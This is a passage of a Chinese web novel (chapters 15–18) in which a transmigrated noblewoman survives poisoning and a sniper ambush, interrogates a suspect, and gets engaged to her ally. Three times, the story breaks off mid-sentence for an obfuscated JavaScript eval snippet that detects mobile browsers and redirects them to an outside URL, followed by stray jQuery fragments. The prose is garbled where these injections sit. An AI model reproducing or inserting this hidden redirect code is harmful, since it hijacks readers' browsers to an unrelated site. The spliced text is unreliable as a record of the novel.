她直直地盯着面前那双雾蓝色的眼睛,一片不染尘世的宁静湖泊里,光影像轻微的涟漪般,圈圈波荡开来;她们二人距离如此之近,好像都颤到了她眼中。
“圣女大人。”
伊斯特没有松手,轻巧地笑着调侃道。
15. 第 15 章
奥妮克丝确实无愧“圣女”之名,她不卑不亢、平和宁静地听完伊斯特的来意,一句废话没有,转身进了教堂的档案室,在一个一个已归档的箱子中挑出了写着“社会福利活动——第三期”的那个。
在轻微的灰尘中,伊斯特轻声咳了咳,眯起眼睛,盯着箱盖上那行清秀优雅的字迹:“圣女大人亲自处理这种杂事啊?”
“只是分内之事,谈不上什么’亲自‘。”奥妮克丝修长的指尖划过一卷卷纸,“你先前说需要查哪块区域的登记信息?”
“红巷街……谢谢,”伊斯特接过了对方取出的那卷纸,往长风衣口袋里一揣,“剩下的也不用费心放回去了。”
她打了个响指,一个士兵迅速上前,恭敬地行礼,而后双手捧走了那个箱子。
奥妮克丝看着他们的动作,没有出言,也没有动手阻止,只是眨了眨眼睛,银白色的睫毛在那片雾蓝上一闪:“请尽快原样奉还,这毕竟是重要的资料。”
“这不是很好说话嘛!”伊斯特赞许道,“怎么会有人不喜欢和你们交往呢?”
“我以为你也不喜欢。”奥克妮斯的声音轻轻的,却不弱不飘,像水底一轮不散的皎洁明月。
“嗯?”伊斯特侧头看她,“为什么?”
“你进门之前,好像就很不愉快。”圣女平静地陈述道,“我甚至感觉,有些过激行为是你在宣泄情绪,而对象与教堂有关。”
“害,主要这个地点会让我想起以前听过的一个……矫揉造作的故事。”伊斯特笑了一声,“比起故事,更像一个借口,一个自我欺骗,一个精神寄托。所以气性有点上来了,对不起啊。”
“你如何道歉,逝去的人也不会复生。”奥妮克丝垂着眼睛,“他只是在履行职责。”
伊斯特轻快地一挥手。
“没事,”她笑眯眯地说,“我本来也不是真心的。”
奥妮克丝依旧没有动容,轻声慢语:“那就慢走不送了。”
“拜拜。”伊斯特往外走了两步,手按在门把上,突然停住了,撑着手杖一转头,随意问道,“对了,纯属好奇,为什么叫你圣女啊?这么宗教意义的称呼,不可能是出于选拔或者能力吧。”
奥妮克丝袖着手站在原地,白袍宽绰的袖子垂下波浪似的皱褶:“……如果你真的想知道的话,我被认为能对未来和命运做出预言。”
“豁!”伊斯特赞叹,语气跟在路边见到塔罗牌占卜一样,毫无敬意,“真的假的,那你能给我做一个吗?”
“这不是我主观做出的行为,而是抽象的、不可描述的、一瞬间的感触。它们也并非可信可靠,只是碰巧灵验过几次,有人觉得可以参考罢了。”
伊斯特听笑了,“免责声明好长啊,不能就直接拒绝嘛。”
她正要出门,突然听到那烟雾一样的声音从身后传了过来。
好像一个被选中的祭司,先见者,受命人,唇齿不过转达天意,奥妮克丝听上去前所未有地浮于尘世之上,海市蜃楼般,迷离惝恍。
“……我看见你身上有死兆。”
“你人还怪好的啊,为什么告诉我?”
身后沉默了片刻。
“告诉你是因为……我希望你能小心,从而避灾躲祸——你既已犯下罪孽,就应该以实行赎还。”
伊斯特爆发出一阵大笑。
在原来的世界,她遇到过一次路边的算命小摊。生意很惨淡,当然,哪有傻子信这个。或许因为没人光顾的原因,摊主逮住一个人就不肯放手,死死地扒着她的衣角,说她会遇上意外事故,即使她温柔地让他滚了,那家伙也没松手。她当时一边在心里抱怨不该偷懒走陆路,一边掰断了那只手。
现在她脾气好多了。再说了,奥妮克丝也没有抓着她不放嘛——这种态度才是这个行业该有的。
“好的,记住了。”她头也不回地踏出门外,扬声说出的话带着笑意,从外面隐隐传回屋内,“不过别抱太大希望,这年头谁活着不死啊?”
*
伊斯特最后跟抢劫似的拿回来了一箱子文书记录。
“我突然想到,我晚上还有事。”她把口袋里的关键卷轴放桌上一放,转身就准备离开,“你先慢慢看啊。”
“现在是晚上十一点,”捷柯的声音幽幽地传了过来,“你告诉我什么事?”
伊斯特毫不心虚地披上风衣,大言不惭地实话实说:“这个还没想好。”
“……”
“哦!我想到了,我好像是个年轻未婚小姐来着。”她得意洋洋地一甩衣摆,“那我怎么陪你熬夜看文书呢?年轻小姐不该外宿。”
“年轻小姐也不该杀人。”
“听不见,风好大。”伊斯特在窗都没开的屋子里睁眼说瞎话,“反正我明早再回来,希望你那个时候已经看完了哈,拜拜。”
到家时,已经快十二点了。
伊斯特不以为然地一头栽进被子里,决心先一觉睡九个小时再说——说了“明早”,又没说有多早,十点也是早上。
……
她是被轻微的噼啪声吵醒的。
伊斯特第一反应是系统。在这周目开始,她严辞命令了系统保持沉默,一个字都不许说,否则她就罢工;要是系统全程安静,她还有可能勉强做一下任务。托协议的福,她有段时间没听过那个讨人厌的电子音了。
没有系统提醒,再加上有意识不去想上周目发生的事,她很少记起汤珀森。但此时此刻,或许是半梦半醒间,意志比较脆弱,她耳边响起了他们的一次对话。
“像这样,把花瓣和盐放在一起,混合捣碎,就是天然染料啦。”久违了的温柔、轻快的声音,染得十一月的阳光都温暖几分,“这样渐变的淡粉色很漂亮吧?但是夹竹桃有毒哦,所以一定要小心……又漂亮又危险,简直像你一样。”
她自己的声音,从数十年之前的记忆里遥遥响起:“我危险吗?”
“对我不。”汤珀森和她笑作一团,“诶,先别动手,我把剩下的花处理了……夹竹桃哪怕焚烧后都有很强的毒性呢……”
断断续续的声音远去了,回到那段根本没存在过的、只有一个人拥有的记忆里去了。
伊斯特没有睁开眼睛,眼皮好像很重。她的嗓子刺痛起来,在一连串咳嗽中,吸入的氧气越来越少。
不对……为什么会想起那段对话……那个午后早就过去了……十一月……每个轮回开始的日子……花期……
周围的空气里……有什么……
思维比平时滞涩好几倍,肢体更是难以动弹。伊斯特对花很陌生,神经中毒却不是第一次了。
她强撑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886436|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着,用力一栽。咚的一声闷响,隔着纱布,半边身子未愈合的伤口狠狠磕上了床头柜的尖角。
鲜血黏腻温热的触感覆上了那块皮肤,伊斯特无暇关心,只是借着疼痛带来的少许清醒,从快罢工了的躯体里调用出全部力气,攥住枕头下的匕首,用尽全力,向窗户掷去。
在玻璃破裂的刺耳声音中,伊斯特双眼一闭,没了意识。
*
伊斯特再睁开眼睛的时候,发现周围不是那个该死的皇家花园。
太好了。
她一把推开凑上来想给她检查的医生,敷衍了守在床边面色焦急的父母,拿起手杖就上了楼。
让她来看看是谁想杀她。
窗被砸开后,有毒烟雾已经散了出去。皎洁的月光倾洒进来,为眼前的景象蒙上一层朦胧阴冷的纱。伊斯特冷哼一声,举起汽灯,仔细观察自己的房间。
窗边的木地板上,晶莹闪烁着被砸破的玻璃碎屑,甚至溅上了木桌。桌面上,俨然是几支植物残骸,表面干枯焦损,很明显被点燃过了。
伊斯特凑近了些,用戴着手套的指尖,捻起残留的枝叶结构。
她上辈子这辈子都没专门了解过植物,之前是没机会,穿越后是单纯不感兴趣。但是鉴于二人共度的岁月里,某位大画家总是写生,她也稍微耳濡目染了一些。
披针形的叶和伞房状花序……夹竹桃。
她的视线移到了桌边的烛台。蜡烛还有余温,蜡油化了又凝固了,就在花朵残骸旁边,泛着乳白色的羊脂光泽。
光看这景象,不知道内情的话,还以为这屋里住着个冒失的小姐,喜爱花卉,白日里采摘了几朵回来,放在桌上;入睡时,融化的高温蜡油滴落,点燃了夹竹桃,形成有毒烟雾,让小姐一命呜呼。
伊斯特气笑了。
窗框上有轻微的划痕,不仔细看的话压根注意不到。她对着未破损的玻璃轻轻吹了口气,看见一块浅色的、被吸附过的痕迹。
她收集了半小时线索,又思考了半小时,总算拼凑出了事情的大致面貌。
大费周章啊。
改良过的弩箭,或是什么别的一类远程射击武器。箭身绑着细而坚韧的绳线,箭头不是尖锐的金属,而是一个吸盘,射到向外开的窗户上,用力一拉绳索,窗户就能被打开。
然后,用同样的方法,瞄准放着烛台的桌面,小心地把末端点燃了的夹竹桃射入目标所在的屋子内。花枝没什么重量,落在桌子上就轻轻一声,不至于吵醒人。
最后,动个机关解开吸盘,再用绳子把箭收回去,窗户由于重力作用,又关上了——为了避免不优雅的噪音,贵族都会选这种该死的无声窗,哪怕猛地松开,也只会叫它缓缓合上。
屋内沉睡的人在逐渐变浓的有毒烟雾里悄无声息地死去。看上去就是个不幸的意外。
这整个过程,不仅要有极周密的计划,做无数事先准备,还要从头到尾保持极高的精度,几乎没有一丝容错空间。
伊斯特看向窗外。在暗沉沉的、无边无际的黑夜中,一点光都没有。她想象着数十米之外的某处,有个人披着夜幕,一言不发地盯着她的卧室,等着她入睡,然后干净利落地动手。
好样的,这么落后的地方有一个真材实料的先知还不够,还给她碰上一个顶尖狙击手。
16. 第 16 章
旧伤不愈,又添新伤。
呼吸道被这么一搞,伊斯特说话时像有火在燎。医生叮嘱她少说话。
虽然只有半天,但这件事很坏,因为第二天见面时她只能举起一张写着“不要笑。”的白纸,然后听捷柯从嗓子里大笑出声。
伊斯特瞪了他一眼,把纸翻了过来,背面写着“这都怪你。”
前两周目怎么没见有人暗杀她?她试图根据动机理出人选,不到两秒就放弃了:托这位嚣张乖戾的盟友、以及她确实有点猖狂的行事作风的福,现在想她死的人一个屋子都站不下。
“要不我给你叫个手语翻译来?”捷柯幸灾乐祸地提议道。
“你什么毛病?”伊斯特没忍住说话了,“你自己这半天就不能多察言观色一点?”她还想接着骂,但是话被咳嗽堵了回去。
在还没有停的笑声中,捷柯递过来一杯水。
“我把文件看完了。那间房屋在记录里分配给了一个叫勒蓬的人,但很明显他现在不住在那儿了。在你忙着死里逃生的时候,我派人去找这家伙,已经有结果了。”
对话停顿了好几秒。
“……等着我问吗?!”她艰难地说了一句话,不得不又喝好几口水。
“哦,忘了你哑了,”捷柯忽略了她愤怒的瞪视,“勒蓬几个月前开始做生意,现在小有积蓄了,但没有去取消登记那处分配房。这类援助贫困计划会定期回访,所以他住得不远。”
“你不会又在等我的意见吧。这人百分百有问题……但是他不应该还没跑啊?”
捷柯嗤笑了一声,“怪这家伙好逸恶劳吧。分配住房地价便宜,三面被贫民窟环着,这个勒蓬受不了,住进最近的商业区了,当然也没法及时意识到暴露了。”
节约嗓子的伊斯特比了个ok。
“他的住处已经围起来了……就等摩根那小姐大驾光临。”捷柯做了个请的手势,笑容既阴沉又兴奋,像暴戾的雷电划裂了滚滚乌云。
自从和这家伙结盟后,她感觉自己的画风越来越像反派了……自己本来明明是一个勤劳正直打工人来着。
伊斯特一边这么想着,一边跃跃欲试地活动了一下指节。
*
一男一女走在街道上。
走在霍普街的,少有他们这样的人。当然,作为像一条带子一样、系住贫民窟的街道,这儿的行人千奇百怪。讨生活的就分好多种:境况不错的,支个小摊;泯然众人的,沿街营生;再运气差些的,就走向偏路了——跌到谷底的人会用什么方法和世界鱼死网破?不难猜。
这儿不缺看上去不好惹的,但确实少见气质危险的同时,又这么体面的。
男人暗甲戎装,打扮轻捷,举手投足之间凌厉又气盛,显得格外锐利:不小心瞧上他一眼,就感觉视野被刺痛了似的。
女人披着件及踝风衣,长长的黑发随风四散,身上各处都分布着绷带和纱布:布料未盖住的左手、脖颈,都被密密缠住,连一只眼睛都遮着;举止却不显虚弱,而是一种近乎骇人的柔和沉静。
这对看上去像杀人犯和邪教徒的组合,身后竟然还跟了一队全副武装的士兵。他们带来了一种诡异可怖的效果,所到之处,周遭的人既想逃,又不敢动,只好瑟瑟发抖地站在原地。
二人招摇过市,姿态悠闲,却叫踏过的每一片空气都带上了凝重感,好像风雨欲来,连尘土都只敢倒伏在在路面上。
然后,他们在一户人家前停了下来。
不等吩咐,手下的人就打开了门。屋内是一个被绑在椅子上的人,从户主沦为囚犯;以及数个严阵以待的士兵,把四周围得水泄不通。
二人踏过门槛,士兵们整齐划一地垂头敬礼,而椅子上的人脸色唰的一下白了,好像眼睁睁看着末日降临。
“勒蓬先生?”年轻女人笑意盈盈,很有礼貌地打招呼,“很高兴认识你,感谢你没有搬迁,省了我们好多事呢。”
“和他废什么话。”男人不耐烦地打断,他的眼神笼住囚犯,语气霎时间冷了下来,“说吧。”
“我……我什么都不知道……”
“为什么每次都要来这么一遭?”女人温柔地抱怨道,语气循循善诱,“都抓住你了,难道还能是蒙的?早点说了,早点入土为安不好吗?”
囚犯被她的启发式提问吓得够呛。
男人低声抱怨了句什么,听不太清。他翻了个白眼,依旧冷着一张脸,开口:“把你知道的都说出来,可以饶你不死。”
“诶,不是这样的,别一上来就把好处给出来呀……”女人侧过头,纠正道,“你要让他觉得条件是在他的配合下得到的,有点像训狗……你养狗吗?”
“闭嘴吧。”他深吸一口气,还是没忍住,开始还嘴,“……你又懂了?进来前怎么说的?这部分不是你负责吗?”
女人的语调像唱歌一样轻快,聊天一样悠闲:“你这个人,就是太斤斤计较了,而且还没有耐心。我每次都唱红脸也会腻嘛——”
于是,囚犯被绑在椅子上,动弹不得,眼睁睁看着他们你一句我一句,都快吵起来了;他张了张嘴,非常迷茫地呆了呆,又闭上了。
最后争论在一句忍无可忍的“够了!”中暂停了。“回去再跟你说……”男人用手一捋散乱的黑发,转头看向囚犯;余下的耐心好像一根快崩断了的弓弦时,他显得更恐怖了:“你已经浪费我很多时间了,快点开始说。”
……自己浪费什么了啊!
那人对囚犯的崩溃表情置之不理,问题连珠提出:“谁指示你去登记红巷街的住宅的?为什么留在这附近?”
“我不知道是谁……三个月前,一个戴着兜帽的人找上我的……”在死亡压力面前,勒蓬仓皇开口道,“至于为什么留着……教区不是要回访吗?拿……拿人东西,忠人之事嘛……”
“你就不像这类人。说实话,不然我让你再也没手’拿‘。”
他瑟瑟发抖地全招了:“来找我的那个人,说他会不定期检查,要是我敢耽误他们的事,他就杀了我……要是我敢告诉别人,他也会杀了我……”
女人饶有兴致:“豁,他说什么你做什么?”
“不是……我熬了两周,试着溜过一次……然后断了一条腿……一根弩箭刷的一声就穿过了我的膝盖,我跪倒在地,四周一个人都见不到……”
“一点线索都没有吗?”女人真诚地、非常疑惑地质疑,“那留你一条命有什么用呢?”
夹杂在求饶声中,勒蓬吐露了一条消息:
他昨天在路上好像隐约见过那个人。那时,大法官的马车正过市,而在随从中,有个人的身形举止叫他觉得眼熟。
*
“典型的影耀会作风。”
他们走在回程路上时,捷柯指出道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886437|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“神出鬼没?”伊斯特猜测。
“装神弄鬼。”他冷哼一声,“根据你的描述,昨晚对你的袭击大概率也是他们的手笔。”
伊斯特还想回答什么,但是被突然插进来的一个童声打断了。
“为与您同行的小姐买一束花吧!”
二人侧目看去,说话的是一个衣衫破旧、瘦弱不堪的女孩,似乎还不到十岁,抱着一大束带着水珠的百合花,快把她淹没了。小女孩不敢上前来拦,只是站在路边鼓起勇气,对着他们朗声开口。
“找错人了,”伊斯特柔声说道,“我来吧我来吧,我给他买一束。”
她把手伸进口袋里,掏出来一个银币,给小女孩看了看:“这个收吗?找不开就别找了。”
被馅饼砸中的小姑娘无所适从,愣了愣,把手里的一大捧花举得高高的,递到伊斯特眼前:“……都,都给您了?”
伊斯特正要付,钱被身边的人劈手夺走了。
“全买了也没用,”捷柯阴沉又平淡地说,“这点钱她能花多久?”
银币在几根手指间穿梭,忽隐忽现,灵活地翻飞,然后被收了起来;他沉默了半秒,盯着那个小女孩:“你想识字吗?”
面对这个问题,她点了点头,又摇了摇头:“但是我没有时间,也没有钱……不卖花会饿死的……”
捷柯嗤笑一声,打了个响指。跟着他们的士兵很有眼力见地上前。
“你,去找个食宿全包的学校,让她上到毕业。”他懒洋洋地吩咐道,“钱回去支。”
小女孩没有完全理解,双眼依旧瞪大了。不等她说什么,捷柯就半俯下身,暗红色的视线牢牢地笼着她,一字一顿地开口:
“接下来十年里,你可以时常想着我这句话——要是让我知道,你哪怕某一周没有努力,我就派人去杀了你。”他眼神冷得发寒,语气慢条斯理,又非常认真,“听懂了吗?”
伊斯特抱着一大捧花,分出手来,安抚地拍了拍瑟瑟发抖的小姑娘。看着人被带走,她又无奈又好笑:“这孩子估计要做噩梦做到成年。”
“至少她能活到成年。”
“手挺巧啊。你干过小偷,还是魔术师?”伊斯特盯着他看了一眼,自问自答,“小偷。”
“那又如何?”捷柯冷笑了一声,“窃贼,苦力,强盗,骗子……什么能活我就干什么,直到十六岁假报年龄入伍。”
“怪不得那么仇恨既得者。”她把花给身后的随行人抱着了,只留下一束,顺手递了过去,“喏,送你的花。”
捷柯明显愣了一下才接。百合长枝被他握在手里,雪白的花瓣冲淡了几分阴郁感,叫他沉默的时候几乎显得恬静了。
“挺好的,鲜花配美人。”
“……”
他们之间少见地沉默了。握着花的男人没有立刻回应,薄唇分开,好像要同往日一般吐出什么尖酸的挖苦话,但是怔了怔,又合上了。
还没等他来得及表露什么,伊斯特就接着说了下去:“等五天后我们被砍头了,这花估计也还没谢,可以直接插.你坟头上。”
不管刚刚有什么反应,现在都完全消失了。
捷柯深吸一口气,把花收了起来,阴沉沉地回道:“……你要是这么期待的话,不用等这周结束,我现在多的是办法给你搞成伤重不治。”
伊斯特大笑出声。
17. 第 17 章
科尔特·兰登,男性,时年五十二,帝国现任大法官,神学家出身,二十余年前转行法政工作,出类拔萃,逐渐登任最高法院。
在被问到为什么要转行时,他曾说过“我发现信仰源者带来的美德常常会被世俗中的罪案所消磨,唯有先投身于切实的审判中,才能肃清罪孽,为宗教引导提供土壤”。
倾向于做实事,不爱弄权结派,但是在众多大臣间都有很高的声望,很少有人会得罪他。
……
“怎么看都是少数几个认真工作的人吧?”伊斯特指出,“把他宰了帝国少一面承重墙不会塌吗?”
捷柯已经习惯不追问她的奇怪名词具体什么意思了:“仔细一想还不够合理?害怕风险的人尸位素餐,怀有异心的人才会努力奋斗。”
“你知道这个标准对你自己也适用吧?”
“我的异心?”他轻轻笑了一声,“往上爬。”
“看来抓他变成当下目标了……那么问题来了,我们没有切实证据。”
“我去查查兰登。只要认真去查,很少有人抗得过——”捷柯拖长了尾音,又锐利又挖苦,“他又不是真的圣人。”
“那我再去见一下奥妮克丝好了。”
那双眼睛又一次迅速抬起来,暗沉沉地来回打量着她:“……为什么?”
“她不是先知吗?问问命数又不花钱。”
空气里沉默了好久。
哗的一声。捷柯一把掠过桌上的书卷纸张,全扫进了箱子里;动作粗暴,让东西发出了彼此碰撞的响声。他深呼吸了好几下才开口,嗓音闷闷的。
“……走投无路的人才会寄希于这种可笑的尝试,别让我看不起你。”
好过激的反应啊。伊斯特叹了口气:“你刚刚说兰登多大了?”
“五十二。你听力和记忆力哪个出问题了?未老先衰?”
“而奥妮克丝是一个二十出头的美人。你觉得我会想去哪边?”
“……”
捷柯头也不回地开门出去了,没收力道,木头门扉重重砸在墙上,发出砰的一声。
*
实木房门轻轻掩着,让教堂这个僻静的小房间更显与世隔绝。
雾似的蒸汽在茶壶周遭盘旋,慢悠悠地氤氲而上,掩着桌边人的眉眼,蒙上一层白纱。
本来就雅致的银白和雾蓝更显轻逸,漩涡般迷离,视线偶然间划过,就很难移开了。
“比我想象的好喝很多啊,”伊斯特赞美道,“我还以为教堂会由于简朴导致茶很差。”
“作为财政大臣的女儿,我以为你会很了解不同部门的拨款……”
奥妮克丝一手端着骨瓷碟,一手握着茶杯的弧形把手,姿态一等一的标准完美。她把唇贴近茶杯边缘,像要浅啜,却开口,轻轻吐出了下半句。
“——你的一言一行都出乎意料,几乎让人怀疑你是否真的是摩根那家的小姐。”
手里喝了两口的茶杯一抖,被收着力道放回桌面上;伊斯特盯着圣女,顿了顿,大笑出声。
“哇,好严重的指控,我们才见过几面……你竟然暗示我不是本人?”
奥克妮斯神情依旧安静自若:“我会习惯于用直觉感知他人。如果冒犯到你了,我道歉。”
“先知嘛,依赖直觉很正常。”
伊斯特自己伸手添了一杯茶,“说到这个,有没有今日预言给我参考一下呢?”
“没有。”奥妮克丝很耐心地又解释了一遍,“这并非我的主观行为。”
换一个人,这个时候就该道歉并且安静喝茶了。可惜坐在这里的是伊斯特,适可而止和见好就收不在她的人生准则里。
“你试试,你试试嘛。”伊斯特恬不知耻地鼓励道。
圣女不愧是圣女,就算她有不耐烦,也没表现出来:“那么你或许应该小心人身安全。”
“你又看见征兆啦?”伊斯特支起身子,半越过桌边,凑近了那双雾蓝色的眼睛。
“不是,这是根据已有事实的合理推断。你昨天不是遇袭了吗?”
“?你怎么知道的。”
伊斯特脑子里闪过了无数“我没有毒死他!”“我可没说死因是中毒”一类的劣质推理小说,她上下打量了奥妮克丝几眼,很坦诚地把怀疑写在脸上。
奥妮克丝用手背半遮住脸,叹了口气。
“……今早将军就差带把刀来朝会、当场剥人皮肉了。他似乎是不想打草惊蛇,从而透露调查进度,所以没有表明怀疑对象,而是简单直白地挨个死亡威胁了一遍所有人——连我也未能幸免。”
伊斯特尴尬地喝了口茶。
*
骑马不在伊斯特的技能里。
她原本就会很多东西,穿越后又新学了不少,但是身在一个这样的世界里,她从来没考虑过学习骑术。
如果被问到为什么,她就会指出,这都是穿成一个贵族小姐害的:就像能坐车就不会学开车一样,到哪儿都有马车送,谁会费心去学呢?
更何况,坐车能有什么副作用?马夫的工钱又不用她出。
直到此时此刻。
她的车离开教堂有一段时间了,往郊区越走越远——神经病的宅邸修这么偏远。此刻大概半程左右,远离城市,荒无人烟的地方。
一声破空箭响划破了有序的马蹄声。
就算没有穿越并死那么多次,这也够叫她提起警惕迅速反应了。
伊斯特猛地掀开车门,短短一瞬,鼻腔已经被血腥味盖过;在车辆被迫的急刹中,她的视野天旋地转:惊慌失措坠落的马夫、空旷无垠的田野、以及缰绳末端的马匹尸体一齐涌了进来。
她甩上车门,就地卧倒。
又一箭。马夫的尖叫声戛然而止。
「有必要吗,真是这个杀手明明很强却过分谨慎啊。」她一边从随身的小包里快速掏出好几样东西,一边在心里发挥冷幽默。
常理来说,距离心脏的偏移、车速和子弹速度就可以算出狙击手的大致距离:暗杀的时候,永远不能直接瞄准心脏,因为子弹破空需要时间;也不能预估一个加上理想偏移打中要害的位置,因为车速可能会增减,影响结果……每个狙击手都有自己心仪的偏差范围,但大致上总有重叠之处。
好消息是,由于工作单位的原因,她对这方面略有涉猎,至少比骑马强多了。伊斯特花了几秒算完,然后抬手准备投掷。
「十二点方向!!」系统紧张到打破了他们的不说话协议,「也不是那个数字!这是弩箭啊!」
在系统提供的新速度下,伊斯特又花了两秒重新修正了估算结果。她由肩到肘发力,把点燃引线的硝石硫磺木炭混合物投了出去。
石板翻裂,土块飞溅,植物烧焦爆开,灾难性的黑烟呼啸着卷过被爆炸波及的范围。坏消息是,没有惨叫的声音或者血肉崩裂的闷响;好消息是,原本清朗的空气
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886438|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可见度低到不能视穿了。
在爆炸的巨响中,她用最快的速度往相反方向跑去。
「不够远,只能遮蔽视野,」系统慌张提醒道,「应该做烟雾弹的啊!」
急成这样,看来它真的很在乎即将归零的本周目攻略进度。「在右手几天前被砍伤过的前提下,已经很远了好吗。」伊斯特拔足狂奔的时候,顺口反驳道。
至少能提供十几秒的安全间隔吧——
她这么想着,念头还没来得及划过脑海就被击沉了;身体被被巨大的冲击力打中,她不由得滑出半米,跪倒在地上。
这箭太快了,甚至她先看见左腿膝盖上涌出的灼灼鲜血,剧烈的疼痛才缓一步传到,袭上她的中枢神经。
她奋力向前一扑,躲开紧随其后的下一道双发箭矢;本应该横贯心口的金属箭头扎在了她的肩膀上,带来腐蚀性的疼痛,连同尖锐的血肉撕裂感:这玩意儿淬过毒就算了,甚至还做了金属倒刺。
血淋淋的地狱啊,制造盲区没用,那个人已经不在第一箭的位置了。
“打一枪换个地方吗!”她又气又笑地骂出声来,“谨慎成这样已经要去看心理医生了啊?”
也就是皇家花园没有狙击点,不然但凡影耀会派这家伙去,姓墨罗温的所有人尸体早就凉透了。
「咱不复盘了行吗!」系统的电子音都快哭了,「不要死啊!!和捷柯HE了再死行吗!你再撑一撑!」
“你比这个杀手还气人你知道吗。”
她苦中作乐地指出,就地一滚,让又一道致命伤化为肋骨间的贯穿伤。
伊斯特抬起头,再次确认了这个绝望的事实:附近连个正经掩体都没有。这人太会选地方了,不敢想象ta考察了多久。
拖着一身剧痛和半条残腿,她毫不犹豫地采用了方案B。感谢那家伙没给她几秒喘息机会吧,伊斯特压根没跑出多远,此刻才能反身一够,借力把自己整个人甩到了马车后面。
「这有什么用啊?!这不就是躲在一个靶子背后等死吗!」
她知道啊!
如果声音里的悲凉能化为实体,系统已经给她立了三座坟头了:「还是个很薄的靶子啊……」
她快如闪电般地探身伸手,拽住已经失温了的车夫手臂;扑回掩体后的同时,成功把那具尸体扯到了身前。
“这不是加厚了吗。谁让ta装倒刺,会卡在车夫的身体里——任何技术创新都是双刃剑啊。”
「这时候搞什么哲学反思啊!」
对面是个谨慎的人,她知道。但是此刻认知被迫更新了——对面还是个聪明的人。
在又射了两箭之后,那人好像也意识到目标的变化了:下一次袭来的破空声里,竟然带上了燃烧的噼啪爆裂。
ta换成火焰箭了。
……
“我现在道歉还来得及吗,”她出口的话被带着血沫的咳嗽划得支离破碎,下一句改为了最大音量:“我错了!影耀会的大哥大姐们!我不查了!”
回答她的是避无可避的下一箭。
死成这样还是死一次啊……伊斯特这样想着,很有仪式感地闭上了眼睛。
再次睁开眼睛时,疼痛没有走,皇家花园也没有来。
来的是铁蹄声和震碎袭击的刀光。
“是我的错觉还是,”捷柯一头黑发被吹得格外凌乱,嗓音里少见地带着喘息,“你确实每次见我都特别狼狈?”
18. 第 18 章
和很多食人爱好者幻想中不同,人皮肤被烧焦的时候并不会有烤肉香气,取而代之的是蛋白质的焦臭味。
所以说,烹饪人体之前一定要妥善处理,小火慢炙,否则口感会很差的。
「……」
漫长的无语后,系统忍无可忍地打断了她的旁白,「这又是在做哪门子鬼故事科普啊!不要用纪录片的口吻说这种话好吗!」
伊斯特低下头,看了看自己跟战争遗迹似的躯干四肢,觉得有碍观瞻。
「你总不至于希望我把注意力集中在自己身上吧……」她的下一句想法直接说出口了:
“好疼啊。”
“知足常乐。”捷柯站在旁边,赶过来那瞬的焦急像没存在过,语气还是说风凉话的语气,“也就离我家够近,城里换个地方你骨头渣都卡路缝里了。”
他很明显觉得自己刚刚说的内容是安慰,下一句就开始问正事了,“看清样子了吗?”
“没看清。但是我要这个人死。我要他或者她的皮被剥下来给我当窗帘。我要把他或者她活活蒸熟,直到脑子里的水汽从双耳冒出来为止。”
“我喜欢这种精气神,真的,但是你好像更应该希望自己活着。”
捷柯说着,俯下身来,把自己家的玻璃摆件从她五指间拿了出来。伊斯特松开手,中断了把那东西砸在地板上的泄愤行为。
他把东西放回了床头柜,但于事无补;眼睁睁看着它被伊斯特一点点推向边缘时,干脆把注意力转回了对话上:“影耀会很少有这么密集且连续的暗杀,看来够讨厌你的……你想过下次怎么办吗?”
伊斯特的语气理所当然:“这话说的,不让我在你这儿避了吗?”
玻璃碎裂的时候,捷柯也提出了质疑:“你一’未婚小姐‘天天和我住啊?”
“不就是用这个做了一次借口吗,你太记仇了我跟你说,这样对肝不好,折寿。”
“不是,真的会这样,没人比我更知道舆论有多不可抗拒了。”他说完才后知后觉地抓住重点,“……等等,那天是借口吗?”
在“我熬了一晚上通宵”的抱怨声中,伊斯特置若罔闻地思考:“那怎么办?”
“你要不入职我手下?”令人发指的工作狂提议道。
他话音还没落完,伊斯特就果断拒绝了:“才不要。”她宁愿回原来世界的公司接着干。
“那说你来我这儿参观几天……几个月呢?”
“这里有什么好看的,尸体吗?”
捷柯看上去没辙了,双手一摊:
“那我们结婚?”
“也不是不行,你姓什么?”
“伊格尼特。”
“那我不改姓了,没我现在用的好听。”
“没人在乎这个。”
但凡换个稍微正常一点的人参与这个对话,都不可能得出这种结果。但两位当事人一来一回,满脸无所谓,堪称利落地敲定了这个结果。
于是,第二天一早,伊斯特·摩根那和捷柯·伊格尼特莫名其妙地订婚了。
*
当然,这不是三周目的终点。
伊斯特一直很好奇,系统所谓的“Happy Ending”究竟指的是什么:一周目在洛兰特上没有成功,这就表明肯定不只是对方爱上自己这么简单。
总的来说,大概是和“未来可能的走向”有关吧?
